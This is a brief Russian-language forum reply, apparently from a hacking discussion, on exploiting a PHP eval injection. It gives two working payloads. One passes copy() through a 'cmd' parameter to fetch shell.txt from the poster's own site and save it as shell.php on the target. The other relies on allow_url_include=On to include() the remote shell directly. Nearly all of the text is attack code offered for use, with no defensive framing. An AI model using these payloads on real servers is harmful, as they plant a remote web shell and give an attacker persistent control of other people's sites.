мен ты мне другое говорил )) если eval то

cmd=copy($_GET,$_GET[d]);&s=http://твойсайт/shell.txt&d=/директория/shell.php;

потом локальный инклуд(если директория не видно из веб)

при allow_url_include=On

cmd=include("http://твойсайт/shell.txt");